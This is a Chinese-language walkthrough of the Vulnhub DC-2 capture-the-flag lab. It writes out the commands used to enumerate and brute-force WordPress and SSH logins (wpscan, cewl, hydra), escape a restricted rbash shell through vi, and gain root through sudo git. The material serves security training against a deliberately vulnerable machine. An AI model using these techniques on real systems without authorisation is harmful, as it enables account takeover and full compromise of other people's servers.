目标机:192.168.119.146
攻击机(kali):192.168.119.140
首先对目标机进行端口探测,发现存在80、7744端口信息:
访问80端口http://192.168.119.146,跳转到http://dc-2域名:
这里需要对host文件进行配置,然后使用域名直接访问:
发现是一个WordPress站点,并且找到flag1。
flag1给的提示是登录WordPress并且运用cewl生成密码本:
使用dirsearch进行路径扫描,发现登录后台/wp-login.php:
使用wpscan枚举出用户名:admin、tom、jerry,写入users.txt:
wpscan --url http://dc-2 --enumerate u
使用cewl生成密码本wp.txt:
cewl http://dc-2 -w wp.txt
现在密码本和用户名都有了,使用wpscan进行密码爆破攻击.成功爆破出tom和jerry的密码,admin则失败:
wpscan --url http://dc-2 -U users.txt -P wp.txt
分别使用tom和jerry登录网站,tom账号中什么也没有,但在jerry账号下发现了flag2。flag2提示如果在WordPress中没找到捷径,就试一试另外的方法。
目前涉及的端口还有一个ssh端口,所以尝试对ssh服务进行密码爆破攻击。使用hydra进行密码爆破攻击,成功爆破出tom的密码:
hydra -L users.txt -P wp.txt 192.168.119.146 ssh -s 7744
使用tom登录ssh服务远程连接目标机:
ssh tom@192.168.119.146 -p 7744
进入系统后,发现部分命名无法使用,当前shell为受限制的rbash。使用
export -p
查看当前环境变量情况:
既然部分命令不可用,那可用那些命令呢?运用
compgen -c
查看当前能使用的命令,发现能够使用less与vi命令:
查看flag3.txt,这里叫我们用su命令跳转用户:
vi flag3.txt
到底该跳转那个用户呢?查看用户信息,发现存在jerry用户:
vi /etc/passwd
准备跳转jerry用户,但是无法使用su命令,所以需要进行rbash绕过。
由于可以使用vi与less,所以尝试less绕过和vi绕过。
先尝试less绕过:
less --help
进入less界面后,输入
!/sh
由于当前环境下无法使用 “/”,所以less绕过失败。
接下来尝试vi绕过:
vi
进入vi页面后输入
:set shell=/bin/sh
Enter后再输入
:shell
Enter后,成功修改当前运行shell:
切换shell为/bin/bash后,再次查看环境变量:
这里显示的是默认环境变量下的SHELL,而我们通过绕过更改的是当前的运行SHELL。使用
echo $0
可查看当前SEHLL:
由于当前运行SHELL已经是/bin/bash,所以只需要修改PATH变量:
export PATH=$PATH:/bin/:/usr/bin
再使用
compgen -c
查看当前能使用命令,发现已经解锁了大部分命令。
用su命令跳转至jerry用户,输入密码为之前爆破出的jerry的密码。
转到jerry的主目录后发现flag4。flag4提示最终的flag不在这里,那应该就是在root用户里了。关于提权方面,这里提示了git提权。
先尝试下运用DC-1的SUID提权方式:
find / -perm -u=s -type f 2>/dev/null
并没有发现常见的提权可行性文件。
查看能用管理员权限执行的命令,发现git命令可以不用密码执行。
sudo -l
开始git提权:
sudo git -p --help
!/bin/sh
这里使用的是git帮助信息未显示完全时可以输入命令来打开shell。需要将终端窗口拉伸小一点。
成功提权,进入root用户。转到root用户的主目录,发现最后的flag。
原文始发于微信公众号(陆吾安全攻防实验室):Vulnhub靶机:DC-2
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论